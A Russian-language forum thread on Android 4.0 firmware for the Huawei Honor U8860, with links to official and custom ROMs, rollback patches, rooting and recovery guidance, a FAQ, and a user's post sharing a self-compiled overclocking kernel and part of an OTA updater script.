Honor(U8860) - Прошивка(OS 4.0)
Опрос на самую популярную прошивку
Какая прошивка у Вас сейчас в телефоне?
EmotionUI [ 369 ] ** [13.07%]
Официальная B929 - B932 [ 804 ] ** [28.47%]
B937 MOD от Huawei Developers Group [ 263 ] ** [9.31%]
Кастомная B923 by DOC2008 [ 39 ] ** [1.38%]
PSX_v 1.4.1 SuperCharged CWM Edition RELEASE [ 4 ] ** [0.14%]
PSX_v1.4.5 RAM Optimum Avante Edition [ 19 ] ** [0.67%]
AnZhi_U8860_B929_MIX [ 6 ] ** [0.21%]
AnZhi_U8860_B929_MIUI_MIX [ 18 ] ** [0.64%]
CyanogenMod 11 от desalesouche [ 150 ] ** [5.31%]
CyanogenMOD 11 M4 от angels-group [ 117 ] ** [4.14%]
Baidu Cloud [ 243 ] ** [8.6%]
B961 Turkey Turkcell (не повезло мне) [ 10 ] ** [0.35%]
Не знаю, какая у меня прошивка [ 253 ] ** [8.96%]
Honor'a нет, у меня iphone [ 107 ] ** [3.79%]
прошивка на Android 2.x [ 422 ] ** [14.94%]
Всего голосов: 2824
 



Реп: (152)
Honor(U8860) - Прошивка(OS 4.0)
Изображение Glory
Описание | FAQ 4PDA | DevFAQ | Обсуждение » | Покупка » | Прошивка (OS 2.3) » | Прошивка (OS 4.0) » | Аксессуары » | Брак » | Клуб владельцев » | Наш каталог игр и приложений » | Украшательства » | Клуб фанатов Huawei » | Прошивка CyanogenMod »

Важная информация!
Все существующие прошивки для Honor U8860, сопутствующие патчи отката, инструкции, ядра и многое другое
собрано в этом торренте!

Все последующие вопли о нерабочих ссылках будут удалены без предупреждения!
Если Вы заметили нерабочую ссылку в шапке - ищите и качайте нужный файл с вышеуказанного торрента, делайте зеркало и кидайте мне в QMS свежий линк на зеркало с указанием версии и названия нерабочей прошивки и мертвой ссылки - будем исправлять общими силами. Спасибо за понимание!


Если вы здесь впервые
  • Стабильной прошивки Android 4.1 JellyBean на наш аппарат НЕТ! В этой теме это не обсуждается.
  • Идеальной прошивки 4.0 не существует в природе! За вопросы «Какая прошивка лучше», «Какая прошивка самая стабильная» и им подобные, последует жалоба модераторам!
  • Откат на Android 2.3 возможен. Устанавливается поверх, как обычная прошивка. Никаких проблем после этого не возникает.
  • В прошивках B922, B923, B924, B925, B926, B927, B928, B930, B935, B936, B932, B929, B937, B939 компьютер НЕ видит телефон в режиме розового экрана и НЕЛЬЗЯ установить ClockWordMod Recovery! Так как производителем заблокирован загрузчик ядра.

Прежде чем задать вопрос:


Драйверы и утилиты
Android SDK Tools - набор утилит для работы с платформой Android
MyPhoneExplorer - одна из лучших утилит для управления и синхронизации с ПК
HiSuite - утилита для синхронизации, резервного копирования и многого другого от компании Huawei (содержит в себе драйвера ADB) - HiSuite v1.8.10.1506 (крайняя версия на Google диске) | HiSuite v1.8.10.1506 на HuaweiDevice | HiSuiteSetup v1.8.10.07.06 на Я.Диске
Cloud+ - Облачный сервис от компании Huawei
Установка ADB драйверов на Ubuntu

Прошивки
Официальные прошивки
Новые прошивки
EmotionUI
EmotionUI
Актуальная версия EMUI - B322.
Прошивку B322 (U8860 EM UMTS V100R00G403D00B322) cкачиваем здесь.
Патч для отката с EMUI B322 (включает 939 прошивку) - качаем отсюда, либо с зеркала на Яндекс Диск.
Список версий, с которых можно перейти на EMUI смотрите в этом посте и здесь.
Root получаем любым способом, действующим для прошивок B922-B937
ВНИМАНИЕ! Поддерживаются только аппараты для России, Китая, Индии. (НЕ ДЛЯ ЗАБЛОКИРОВАННЫХ ОПЕРАТОРСКИХ УСТРОЙСТВ!)
EmotionUI (тестовые версии)
Прошивка для Европы (русский язык присутствует). Обе версии - тестовые.
Emotion UI + B939 (B320)
В том же посте инструкция по установке и файл для отката с прошивки
Root получается любым способом из указанных в шапке в разделе "ROOT-привилегии, CWM-ADB и ClockWorkMod Recovery"
Мини-обзор прошивки №1
Мини-обзор прошивки №2
EMUI (B320), B939 и патч для отката на Google Диске
EMUI (B321), B939 и патч для отката на Google Диске
B937_OTA
Прошивка прилетела по воздуху от оператора TELE2. Новое ядро (63). Розовый экран (бутлоадер) заблокирован.
Дополнительная информация и ссылки для закачки смотрим здесь.
ВНИМАНИЕ: Из-за того что ядро сделано для оператора TELE2 возможны проблемы со связью на других операторах.
Решение: Вернуть 62ое ядро

Отдельно ядро v.63 подходит для прошивок B929,B932,B924.
На официальном сайте прошивки нет.

Пачт для отката с прошивки - тот же что и для B929.
B929 rus + патч для отката с прошивки
Прошивка для России. Новое оптимизированное ядро (62), улучшено энергопотребление. Розовый экран (бутлоадер) заблокирован.
Прошивка на Mail.ru
Патч для отката на 4pda
B932 + патч для отката + установка Gapps, русского языка в этой прошивке
Прошивка для Китая. В этой прошивке повышена стабильность системы, оптимизирована оперативная память, добавлены приложения Huawei. Отсутствуют приложения Google. Розовый экран (бутлоадер) заблокирован.
Яндекс 1,
Яндекс 2,
Патч для отката с прошивки B932 на 4pda
Установка Google apps и русского языка в прошивке B932.
Новые, но неактуальные прошивки
B930 Non Camera
B935 Camera
Обе прошивки для Сингапура. Мало кто их использовал, но при разборе ничего нового обнаружено не было, поэтому они считаются неактуальными в сравнении с B932 и B929.
Для отката с данных прошивок используем патч для отката с прошивки B929
Старые прошивки
B924SP01_OTA WE + установка русского языка в этой прошивке
Прошивка для Западной Европы. Русский язык отсутствует, Google apps есть. Стабильно работает. Розовый экран (бутлоадер) заблокирован.
B924SP01_OTA WE
Дропбокс,
multiupload,
rusfolder
Установка русского языка. Способ первый. Приложение MoreLocale2 - 4pda, PlayMarket.
Установка русского языка. Способ второй. Локализация прошивок. - Благодарим за способ V_P_Zadov'a
B923SP01 RU
Прошивка для России. Розовый экран (бутлоадер) заблокирован.
ПРЕДУПРЕЖДЕНИЕ! Прошивка нестабильна, неэффективный расход оперативной памяти. НЕ РЕКОМЕНДУЕТСЯ К УСТАНОВКЕ!

B923SP01
FTP
Очень старые прошивки с разблокированным бутлоадером (розовым экраном)
B919 - китайская. Для старых кастомных прошивок.
B972 - китайская. Русский язык появляется после установки MoreLocale2.
B977 - китайская. Для старых кастомных прошивок.
B978 - камбоджийская. Демо версия. Для старых кастомных прошивок.
Установка Gapps в старых прошивках Если приложения от Google в прошивке отсутствуют, то следуем этой инструкции
Патч для тех, у кого не ставится ни одна прошивка. Патч применяется при переходе с прошивок B876 и B858SP02!

Кастомные прошивки

Инструкции, мануалы
Мини FAQ, обязателен к прочтению!
Какая из прошивок 4.0 лучшая, (Идеальная)?
- Идеальной прошивки 4.0 для Huawei Honor не существует в природе! (У всех есть недостатки, глюки и баги). Не задавайте такие вопросы на форуме иначе жалоба модераторам вам обеспечена

Как я могу посмотреть номер версии своей прошивки?
- Настройки->О телефоне->Номер сборки. Для краткости, на форуме принято оперировать цифрами, которые идут после буквы "B"

Какая из прошивок новее?
- Версии прошивок 4.0 в хронологическом порядке: 969, 972, 977, 978, 913, 916, 919, 922, 923, 924, 925, 926, 927, 928, 932, 930, 935, 929, 937, 939 (969 самая старая, 939 самая новая)

Хочу поставить ClockWorkMod recovery.
- Не делайте этого! Получите кирпич, придётся перепрошивать. Пока не нашли способа побороть проверку подписи CWM не светит.
P.S. это возможно только на прошивках B969, 972, 977, 978, 913, 916, 919

Компьютер не видит телефон в режиме розового экрана. Как быть?
- Розовый экран заблокировали (в прошивках: 922, 923, 924, 925, 926, 927, 928, 932, 930, 935, 929, 937, 939). Монтирование файловых систем телефона в этом режиме более не осуществляется. Смиритесь с этим.

Есть ли возможность получить рут?
- Да, такая возможность есть. Инструкция и файлы.

Пробую сделать рут. Не получается. Что делать?
- Проверьте все ли программы у Вас стоят (HiSuite обязателен). Ещё раз прочитайте инструкцию по получению. У многих работает.
Если совсем ничего не получается, то после запуска командной строки, первым делом наберите cmd/e:on, а дальше всё как написано.

Я прошился но телефон ушел в вечный ребут/перезагрузку или выдает ошибку Image signature verify fail! Что делать?
- Любыми путями закидывать прошивку в sdcard/dload (т.е. на карту памяти) и пробовать прошить через 3 кнопки, если прошивка требовала патч для отката с нее, то сначала шьем патч так же через 3 кнопки. А также изучаем внимательно вот это и это

В каких прошивках поддерживается запись с линии?
- Во всех, начиная с B932 (а именно - 932, 930, 935, 929, 937, 939)

Есть ли кастомные прошивки?
- Все моды прошивок в шапке в разделе "Модифицированные прошивки |Неофиц. прошивки|"

Как можно удалить встроенные приложения?
- Удаление встроенных приложений можно сделать следующими программами:TitaniumBackup или Root Uninstaller Pro
Еще 1 вариант удаления стока описан тут.
Если не знаете что можно удалить а что нет, то читаем Описание стоковых программ в прошивках Honor от a_bait. Естественно, что рут доступ обязателен.

Как можно сделать звук громче? / Пропадает звук после звонка.
- Читаем пункты 7.2 и 7.3 Ответы на 95% ваших вопросов по Huawei Honor

Можно ли обьединять в меню приложения в папки?
- Нет. В стандартных лаунчерах для Andoird 4.0 такой возможности нет. Папки можно создавать только на рабочих столах, либо использовать сторонние лаунчеры.

Какие системные параметры можно отредактировать, чтобы увеличить производительность? (Редактирование build.prop)
- magm сделал замечательный материал по части параметров build.prop, системы в целом и т. п.
Напоминаю, что любые действия, связанные с редактированием системных функций/параметров могут привести к "окирпичиванию". Никто, кроме Вас за это не отвечает.

Не работает MMS и мобильный интернет
- Проверьте настройки APN, если их нет можете прописать вручную (ищете на сайте оператора мобильной связи). Или же, если вы ставили чищенный куст, а в нём могли быть вырезаны эти настройки, то воспользуйтесь вот этим вариантом. Проблемы с интернетом также возможны по вине оператора связи.

Возможно ли сделать полный дамп/бэкап системы на прошивках: B922, 923, 924, 925, 926, 927, 928, 932, 930, 935, 929, 937, 939?
- Полный дамп сделать не получится, т.к. на этих прошивках нет возможности установить ClockWorkMod. Для бэкапа пользуйтесь TitaniumBackup.
Примечание: программы могут работать нестабильно после их восстановления с 2.3 на 4.0 или обратно.

Где мне скачать драйвера ADB?
- Эти драйвера идут в комплекте с CWM-ADB, если это для вас сложно, то просто установите HiSuite v1.8.10.1506 (крайняя версия на Google диске) (HiSuiteSetup v1.8.10.07.06 на Я.Диске)

Как избавиться от звука затвора камеры?
- Попробуйте вот это решение. Либо удалите звук затвора камеры из /system/media/audio/ui , только звук фокусировки скорей всего останется. Второй способ это сторонние камеры, где есть такая опция например Camera ICS+

Как и зачем выставлять права на файлы? (что такое 644, 755)
- Читаем короткий FAQ от papsi

Нужен дамп телефона Huawei Honor, кто может помочь?
- Примечание от Demonis
В виду того что полный дамп содержит в себе полные данные о IMEI, serial number, MAC адрес и прочую крайне индивидуальную информацию с телефона донора, а соответственно при восстановлении приведет к созданию телефона-двойника (что запрещено законодательством, попадает под ч1. ст. 272 УК РФ), то соответственно людей которые будут делиться полным дампом с теми кто поленился прочитать данный FAQ и создать личный дамп, будет ничтожно мало.
Убедительная просьба не создавать флуда на эту тему. Посты будут удалены, их авторы наказаны.

Самое главное, с чем вам стоит ознакомиться - "Ответы на 95% ваших вопросов по Huawei Honor"
Общая инструкция по установке прошивок и патчей
Если не получается прошиться или пропатчить по общей инструкции
Официальная инструкция пользователя Huawei U8860 Honor (в формате .pdf)
Только для B969, 972, 977, 978, 913, 916, 919
FAQ по полному бэкапу (дамп) - перед любыми манипуляциями с устройством стоит сделать полный бэкап!
FAQ по установке драйверов на розовый экран


ROOT-привилегии, CWM-ADB и ClockWorkMod Recovery
ROOT
ВАЖНО: После получения Root ОБЯЗАТЕЛЬНО сделайте бэкап IMEI программой 5irom ToolBox. (На форуме есть случаи потери IMEI по невыясненным пока причинам. Подробнее в ЭТОЙ теме)
Новые прошивки (B922, 923, 924, 925, 926, 927, 928, 932, 930, 935, 929, 937, 939)
Старые прошивки (B969, 972, 977, 978, 913, 916, 919)
Recovery и CWM-ADB
Новые прошивки (B922, 923, 924, 925, 926, 927, 928, 932, 930, 935, 929, 937, 939)
Т.к. на новые прошивки нет возможности установить Clockworkmod, взамен ему нашим уважаемым DELme был сделан CWM-ADB который дает след. возможности - пакетная установка модов/приложений/твиков, бэкап системы, получение root-привелегий, вайпы в 1 нажатие и прочее.
CWM-ADB для Huawei Honor от DELme
CWM-ADB (умеет подменять ядро, добавлять скрипты) от djblasterx
CWM-ADB (упрощенное выставление прав на файлы) от Sergey_F1
Старые прошивки (969, 972, 977, 978, 913, 916, 919)
Внимание: ClockWorkMod НЕ использовать на прошивках B922, 923, 924, 925, 926, 927, 928, 932, 930, 935, 929, 937, 939. Получите кирпич!
Clockworkmod Recovery на 4pda (DevFAQ),
Clockworkmod Recovery на Народ'е
Clockworkmod Recovery Touch от Ansfer'a
FAQ по CWM Recovery
Novotools - Менеджер для ClockWorkMod Recovery (устанавливается как приложение).



Оптимизация, твики, украшательства
Для создания собственных индикаторов пользуемся Онлайн-кухней. *Загружать нужно оба файла: framework-res.apk и SystemUI.apk[/color]
Внешние украшательства (батарейки в %, JB панели, локскрины, звонилки)
Иконки статус бара + панель уведомлений JB от Mike9966
Изменённая системная панель уведомлений от pirrat
Батарейка в процентах от JonJonBravo
Батарейка в процентах от Alexey711
Разные украшательства для прошивок B932 и B929 от djblasterx
Т9 в номеронабирателе на Huawei Honor B932, B929 от martina4ever
Мод звонилки без черного квадрата B932, B929 от pavlofff
Модификация стандартного СМС-клиента от pavlofff
Технология Bravia Engine (более сочное отображение фото и видео) от pirrat
Камера из EMUI без стальной шторки от a_bait
Новый Huawei Launcher 6.1.19

Мод шторки от jabro23
Мод шторки от papsi
Мод шторки, измененные значки в статус баре от Dyuran
Мод шторки от Alexey711
Мод шторки от djblasterx
Мод шторки от ReQuanto
Мод шторки + батарея в % от Mike9966
Мод шторки от pix28

Как заменить системные шрифты от djblasterx
Как поменять фото неизвестного абонента на то, которое вам нравиться
3D Launcher
3D Unlock
Темы для 3D Unlock от aqamaster
2D Unlock (Экран блокировки как в OS 2.3.6)
Стоковый виджет погоды Huawei
Модифицированный виджет погоды от martina4ever
Включение softkeys на экране телефона
Музыка и карты ICS - как в оригинале Android 4.0
Твики производительности, звука, GPS и прочие
Мелодии, Обои, Бутанимация, Шрифты
Сборки индикаторов батареи в процентах для старых прошивок (B969, 972, 977, 978, 913, 916, 919)
Батарейка в % от ССА. Часть 1
Батарейка в % от ССА. Часть 2
Батарейка в % от toshkent
---
Индикаторы батареи в процентах устанавливаются через CWM recovery - меню install zip from SD card->choose zip from SD.


Полезное
Новости
Стоковые приложения из новых прошивок
Полезные ссылки
Полезные ссылки для ромоделов
Редактирование системных файлов (UPDATE.APP, cust.img, framework-res.apk)


Обновления шапки
30.01.2013 - в "Новости"- Переход с B322-EMUI на B937 MOD от Huawei Developers Group
12.06.2013 - ACID v7 для Huawei Honor от djblasterx в «Оптимизация, твики, украшательства»
07.06.2013 - Инфо о бутлоадере и новая версия EMUI
05.06.2013 - EMUI (B321) и некоторые изменения в постах
03.06.2013 - EmotionUI+B939 в "Официальные прошивки"
12.05.2013 - Инструкция по установке кастомов (в том числе AOKP 4.1.2, 4.2.2) + Liz@ Mod v3 (Android 4.0)
03.05.2013 - Информация о кастомных прошивках PSX_v 1.4.1 SuperCharged CWM Edition RELEASE, AOKP Jellybean For Honor Build 1, AnZhi_U8860_B929_MIX и AnZhi_U8860_B929_MIUI_MIX
08.04.2013 - Кастом на основе Huawei Official Update B937 от angels-group в Неофициальные прошивки
27.03.2013 - Мелкие косметические правки + обновил ссылки на HiSuite
27.03.2013 - Мелкие поправки в шапке (обновил информацию о торренте)
22.03.2013 - Мелкие поправки в шапке (B937)
15.03.2013 - Прошивка B937 (TELE2) добавлена в раздел "Официальные прошивки"; "Как загружается система на ARM на примере android" убрано из шапки, т.к. ссылка почему-то стала "недопустимой"; Добавлены стоковые приложения из B937 одним файлом.
14.03.2013 - В новости добавлена информация о прошивке B937 (TELE2) + ядро v.63
10.03.2013 - В Новости добавлено "Исследование звуковых возможностей Huawei Honor"
04.03.2013 - Новый Huawei Launcher 6.1.19 во Внешние украшательства; Дамп разбитого телефона добавлен в MiniFAQ
22.02.2013 - Коллекция наработок для улучшения звука от DenisMF в "Твики производительности, звука, GPS и прочие"
18.02.2013 - Добавлены "Правила для данной темы"
15.02.2013 - Прошивка от dima201246 (Liz@ Mod) в Модифицированные прошивки
01.02.2013 - PSX_v 1.1 SuperCharged Final Release от papsi в Модифицированные прошивки
27.01.2013 - Изменение размеров разделов data и system за счет внутренней памяти от RealKot и Плавное увеличение громкости на любой прошивке от wave525 в Твики производительности, звука, GPS и прочие.
22.01.2013 - В мини FAQ обновил информация о дампе.
20.01.2013 - Обновлены ссылки на Clockworkmod Recovery
18.01.2013 -В шапку добавлено: ".. в теме действуют Правила раздела Android - прошивки", помимо правил 4pda
17.01.2013 - Переезд темы CyanogenMod, ссылка обновлена
16.01.2013 - Обновлена ссылка на Clockworkmod Recovery Touch от Ansfer'a
10.01.2013 - Изменение размеров разделов data и system за счет внутренней памяти от djblasterx в Твики производительности, звука, GPS и прочие.
03.01.2013 - Модификация стандартного СМС-клиента от pavlofff во Внешние украшательства.
2012 год
28.12.2012 - Добавлено в Новости "Вышла прошивка Emotion UI для китая"
25.12.2012 - В мини FAQ добавлен пункт про дамп
22.12.2012 - Текст "Вышла бета CyanogenMod 10" заменен на "Вышла портированная CyanogenMod 10"
20.12.2012 - Как поменять фото неизвестного абонента на то, которое вам нравиться во Внешние украшательства; Скрипт для прикручивания свопа (swap) в Полезные ссылки для ромоделов.
18.12.2012 - Обновлена раздача на rutracker.org, B929 включена в раздачу; Добавлено: Пример компиляция ядра из исходников Huawei 8800 под Linux в Полезные ссылки для ромоделов; Установка ADB драйверов на Ubuntu в Драйверы и утилиты; Как ускорить работу GPS на Android и Установка всех приложений на карту памяти в Твики производительности, звука, GPS и прочие; Исходники ядра 3.0.8 Huawei Honor в Полезные ссылки для ромоделов.
17.12.2012 - Обои от Huawei MediaPad и из Ubuntu в Мелодии, Обои, Бутанимация; Мод шторки от pix28 во Внешние украшательства; Камера из EMUI без стальной шторки от a_bait во Внешние украшательства; Древо устройства Huawei Honor на Githab в Полезные ссылки для ромоделов; Универсальный гайд по портированию ромов на acer-club.ru в Полезные ссылки для ромоделов
12.12.2012 - В Украшательства добавлен - Шрифт из Android 4.1 Jelly Bean
09.12.2012 - добавлен HiSuite 1.8.10.07.06 в Драйверы и утилиты
05.12.2012 - В Модифицированные прошивки добавлено: Кастомное ядро (boot.img) с вкусными плюшками для загрузчика B919 от asuslava
26.11.2012 - В Модифицированные прошивки добавлено: B929_Mod от vladykodi и B929 EMUI_Mod от dolmatov94
24.11.2012 - "За кулисами Android: что-то, чего вы можете не знать" в Полезные ссылки для ромоделов
23.11.2012 - Упрощен раздел "Оптимизация твики и украшательства"; Новости скомпонованы
21.11.2012 - Добавлено: "Бутанимация HuaweiPad и CM" в Оптимизация, твики и украшательства; Как и зачем выставлять права на файлы?
20.11.2012 - Добавлено: раздел "Полезные ссылки для ромоделов"; ссылка Перенос приложений в системную память на Android
14.11.2012 - Голосование за новую шапку закончено; Дополнен Мини FAQ; В заголовок добавил ссылку на тему "Прошивка CyanogenMod"; Добавлен подраздел - "Мелодии, обои, бутанимация", Куча модифицированных шторок, Файл gps.conf для России;
11.11.2012 - Технология Bravia Engine (более сочное отображение фото и видео) от pirrat;
10.11.2012 - Удаление вшитых программ без ПК в "Стоковые приложения из новых прошивок"
09.11.2012 - Все связанное с прошивками убрано под спойлер "Все для прошивки"; переработан Мини FAQ; Добавлено краткое описание CWM-ADB; изменен логотип андроида на ICS; в Полезные ссылки добавлено: "Разработка и модификация прошивки для Android телефонов на примере HTC Hero" и "Как загружается система на ARM на примере android"; Ссылка на Онлайн-кухню перенесена в раздел Оптимизация, твики, украшательства
08.11.2012 - Спецификация init.rc - Android Init Language в "Полезные ссылки"; Раздел "Редактирование системных файлов (UPDATE.APP, cust.img, framework-res.apk)"; прошивки для Сингапура перенесены в "Новые, но неактуальные прошивки"; Стиль шапки изменен; FAQ по стоковым приложениями системы Android;
07.11.2012 - Как заменить шрифты в украшательства; Обновлен Мини FAQ; Прошивка от vladykodi (B932SP01_Mod) в неофиц. прошивки
05.11.2012 - Стоковые приложения из B929 одним файлом; Мод звонилки без черного квадрата от pavlofff
04.11.2012 - CWM-ADB от Sergey_F1, Мини FAQ (исправлен и дополнен), Полная модификация шапки
02.11.2012 - Прошивка от JonJonBravo (B929_Mod) в Неофициальные прошивки
01.11.2012 - B924 и B923 Перенесены в раздел "Старые прошивки"
31.10.2012 - Убрал ссылку на инструкцию по 929 кот. порождала кучу вопросов.
30.10.2012 - Прошивки от papsi объединены в одну ссылку в неофиц. прошивках; Твики улучшения производительности и Твики для предотвращения глюков с рингтонами в Оптимизация, твики, украшательства.
29.10.2012 - Прошивка от DenisMF и Прошивка от djblasterx в неофиц. прошивки, Доработанный CWM-ADB в recovery; группа вк в полезные ссылки; Т9 в номеронабирателе в «Оптимизация, твики, украшательства»
28.10.2012 - Модифицированный виджет погоды в «Оптимизация, твики, украшательства»
27.10.2012 - "Ответы на 95% ваших вопросов" вынесены в заголовок
19.10.2012 - Разноцветный индикатор приёма сигнала и альтернативные иконки в «Оптимизация, твики, украшательства»
19.10.2012 - Добавил ссылку на прошивку B929 rus + патч
09.10.2012 - Обновил ссылку на HiSuite
30.09.2012 - Добавил темы для 3D Unlock в «Оптимизация, твики, украшательства»
25.09.2012 - Шапка переработана и дополнена.
20.09.2012 - Анонс торрент-файла с прошивками
19.09.2012 - Голосование по торрент-файлу завершено. Результаты в шапке.
17.09.2012 - Обновил ссылки на HiSuite
16.09.2012 - Добавил опрос
12.09.2012 - Добавил инструкцию для «свежеиспечённых» обладателей Honor
11.09.2012 - Добавил ссылку на MOD прошивки B932 от JonJonBravo в «Неофициальные прошивки»
08.09.2012 - Добавил в «Оптимизация, твики, украшательства» включение дисплея клавишами громкости в прошивке B932
08.09.2012 - восстановил ссылку на патч для старых прошивок.
08.09.2012 - Удалил ссылки на прошивки B977, B978, B922; обновил ссылки на описание стоковых приложений в прошивках Honor; обновил ссылки на кастомные прошивки от a_bait
05.09.2012 - Добавил стоковые программы от B924 одним архивом
04.09.2012 - Добавил описание стоковых программ от a_bait в «Стоковые приложения из прошивок»
04.09.2012 - Добавил ссылку на стоковые приложения B932 одним архивом
03.09.2012 - Добавил ссылки на инструкции, косметическая правка шапки, Root и Recovery убрал в один спойлер
03.09.2012 - Обновлена ссылка на прошивку B977 в «Официальных прошивках»
01.09.2012 - Завершено голосование по флуду и оффтопу. Результаты в шапке.
01.09.2012 - Обновлена ссылка на HiSuite
01.09.2012 - Добавил ссылку на Google apps в «Полезные ссылки»
31.08.2012 - Полностью обновил шапку темы.
31.08.2012 - Обновил ссылку на HiSuite. Вышла новая версия
29.08.2012 - Вернул ссылки на B932, добавил ссылку на патч
28.08.2012 - Временно убрана ссылка на прошивку B932
28.08.2012 - Добавлена ссылка на Google apps и русский язык для прошивки B932
28.08.2012 - Добавлена ссылка на CWM-ADB
28.08.2012 - Добавлены ссылки на китайскую прошивку, обновлена шапка
27.07.2012 - Первая попытка разделить прошивки с рабочим розовым экраном и без оного, начал добавлять ссылки на топики с полезной информацией
26.07.2012 - Убрана ссылка на 913 прошивку;
23.07.2012 - U8860IV100R001WEC00B924SP01_OTA;
11.07.2012 - Изменённая системная панель уведомлений;
07.07.2012 - Включение softkeys на экране телефона;
04.07.2012 - Прошивки от pirrat;
01.07.2012 - Получение Root на прошивках 922, 923;
18.06.2012 - 3D Launcher, 2D Launcher, B923 by DOC2008, V100R001C00B922, 3D Launcher, B923;
28.05.2012 - Виджет погоды;
05.02.2012 - ICS 4.0 Cambodia Demo version (B978);
02.05.2012 - Патч для тех, у кого не ставятся другие прошивки;
22.04.2012 - Прошивки от a_bait;
03.04.2012 - Прошивка C00B913SP01;
30.03.2012 - Прошивки B977rus от a_bait, ICS4.0 B977 by DOC2008;
14.03.2012 - Ядро glory 4.0, MIUI;
01.03.2012 - Убрал ссылку на цианопрошивку и добавил в шапку стоковый лаунчер;
15.02.2012 - Косметическая правка;
12.02.2012 - Обновил ссылку на HiSuite и Cloud+;
09.02.2012 - Правка ссылок на CWM, Root, раздела Украшательства, обновление поста о прошивке;
01.02.2012 - Добавил раздел Украшательства;
24.01.2012 - Добавил прошивку от one-2-z;
23.01.2012 ночью - Добавил ссылку на кастомную прошивку от Гены и кое-что в раздел Разное;
23.01.2012 - Добавил ссылки на FAQ и индикатор батареи в процентах;
19.01.2012 - Создал тему.


Результаты голосований
Завершено 07.06.2013
Прикрепленное изображение
Завершено 14.11.2012
Прикрепленное изображение
Завершено 19.09.2012
Прикрепленное изображение
Завершено 01.09.2012
Прикрепленное изображение



K
В теме нет куратора. Если в теме есть пользователь, желающий стать Куратором и соответствующий Требованиям для кандидатов, он может подать заявку в теме Хочу стать Куратором (предварительно изучив шапку темы и все материалы для кураторов).
До назначения куратора, по вопросам наполнения шапки, обращайтесь к модераторам раздела через кнопку Изображение под сообщениями, на которые необходимо добавить ссылки.


Сообщение отредактировал destroyer71 - 19.05.23, 12:44
Причина редактирования: редактирование



Реп: (1866)
Ещё одна анимация , пока не готова до конца. Если кого заинтересует выложу после завершения. А пока можно просмотреть. Кликните по картинке для просмотра :)
Прикрепленное изображение

А у вас тут смотрю целые дебаты...Парни читать больше надо тему, а не постить одни и те же вопросы-где последняя прошивка... Всё есть в шапке Мало того двумя страницами ранее были продублированы ссылки. Если лень читать 280 страниц, хотя бы последние 3-4 просмотрите. Или совсем уже алё...:)

Сообщение отредактировал papsi - 07.06.12, 17:52



Реп: (397)
Добрый день, Уважаемые любители девайса Honor, произведенного узкопленочными товарищами из неблагозвучно звучащей для руссого уха компании. Вроде как если сассоциировать с русско - английским, то грубый перевод примерно "плохой путь" (Hua - понятно русскому, ну или примерно понятно, wei ~ way, но это уже английский. На прошлой неделе приобрел сее чудо за десятку в Эльдорадо и спустя полчаса стал обладателем ICS на нем. Рутанул, вкорячил cwm. Полазил по дирректориям, поработал с терминалкой и был весьма озадачен разметкой разделов и нестандартной структурой. Поставил busybox, Rootexplorer... Да. Намудрили узкопленочные не хило. cat /proc/mtd показывает черти что, вернее ничего, cwm создает не имеджи, а архивы, через фастбут ничего не сфлешишь. Одни расстройства. Но вот с сорцами на ядро дела обстоят вполне благополучно. Появилась у мну задумка скомпилить ядрышко с доп вкусностями. Полазил по гитхабу, почитал бранчи. И скоипилил таки. Т.к. ядро из оф сорцов (ну там маленько подправил под свои нужды), то работает прекрасно на стоковой ICS. В ядре включена поддержка разгона, smartassV2, (в гугле подробнее, что это), ну и swap, хотя для хонора он не особо нужен. Собирал с бутом от 972 прошивки, поэтому не знаю как поведет себя с другими прошами. Гонится до 1800 Мгц, а smartass добавляет плюсов к отзывчивости и энергосбережению. Модифицированные сорцы с конфигом на народе.
http://narod.ru/disk/52635569001.2b7395ace...ne.tar.bz2.html
Как компилить здесь: http://forum.xda-developers.com/showpost.p...amp;postcount=4 и здесь http://plaintext.su/2011/12/bild-yadra-and...na-primere-dhd/ О разгоне здесь http://plaintext.su/2012/01/razgon-processora-android/ (Весьма приблизительно. У нас немного не так). Хорошие бранчи можно почитать тут https://github.com/dzo/kernel_huawei Как вкорячить своп на loop есть у Дениса здесь: ZTE Racer: kernel 2.6.32/2.6.35
В архиве boot.img и zImage от него. Собирать так
abootimg -u path/to/bootimg/boot.img -k /path/to/kernel/arch/arm/boot/zImage
Под Linux. Это если Вы из своего бута будите переделывать с моим zImage. Дернуть конфиг можно так
/path/to/kernel/scripts/extract-ikconfig /path/to/boot.img
Ну или прям из аппарата
adb pull /proc/config.gz
Шиться из розового экрана путем замены boot.img в /image Предварительно папку /image с аппарата сбэкапьте себе на комп. О коипиляции ядра рассказывать не буду. Кому интересно - можно в яндексе погуглить. Да. Ядро протестировал на своем девайсе. Косяков не нашел.
скрины
Прикрепленное изображение
Прикрепленное изображение

Прикрепленное изображение
Прикрепленное изображение



Прикрепленные файлы

Прикрепленный файлzImage.zip ( 4.17 МБ )
Прикрепленный файлboot.img ( 4.6 МБ )


Сообщение отредактировал V_P_Zadov - 12.06.12, 23:54
Причина редактирования: Добавил скринов



Реп: (397)
И снова здравствуйте. Собрал новое ядро 3.0.8 оф сорцы. добавил поддержку open VPN. Итого, что имеем. TUN, smartassv2, overclock, swap. Пока, думаю хватит. Ковыряю бранчи в сторону фикса вафли. Уж очень тормозно она конектится по сравнению с рейсером(. В архиве необходимый для разгона и выбора режима работы софт. Cобран бут из 972 проши. На других не тестил. В архиве есть zImage. Можете его поменять в своем буте через abootimg. Enjoy.

Прикрепленные файлы

Прикрепленный файлboot.img.972.rar ( 9.31 МБ )



Реп: (397)
papsi @ 13.06.2012, 14:59 *
Как ни странно, но точно такая же мысль пришла и мне. Но только вот файлик с обновлением по воздуху я куда-то засунул(если не удалил) и не смог посмотреть тамошний скрипт. Но вот в чем сомнение, если всё так просто было бы, зачем городить огород с CWM, когда бы нужно было бы сделать просто скрипт, заточеный под Honor

updater-script
ui_print("Now hota starting...");
ui_print("Verifying current system...");
assert(file_getprop("/system/build.prop", "ro.build.fingerprint") == "Huawei/U8860/hwu8860:4.0.3/HuaweiU8860/C00B972SP02:user/ota-rel-keys,release-keys" ||
file_getprop("/system/build.prop", "ro.build.fingerprint") == "Huawei/U8860/hwu8860:4.0.3/HuaweiU8860/C00B977:user/ota-rel-keys,release-keys");
ui_print("Checking patch files...");
show_progress(0.200000, 0);
set_progress(0.013698);
assert(apply_patch_check("/fat/image/boot.img", "102370c12f5015fb04d68d493dc60a4a79e45378", "f35ff985451cdc557fff4d23a915d45ca3de6a24"));
set_progress(0.027397);
assert(apply_patch_check("/fat/image/recovery.img", "854ab50b6440653d6928b5eab8f0c64ada3ea261", "3dafd1e7fde17e4d5ee1d6900ae7f686aa4d670b"));
set_progress(0.041095);
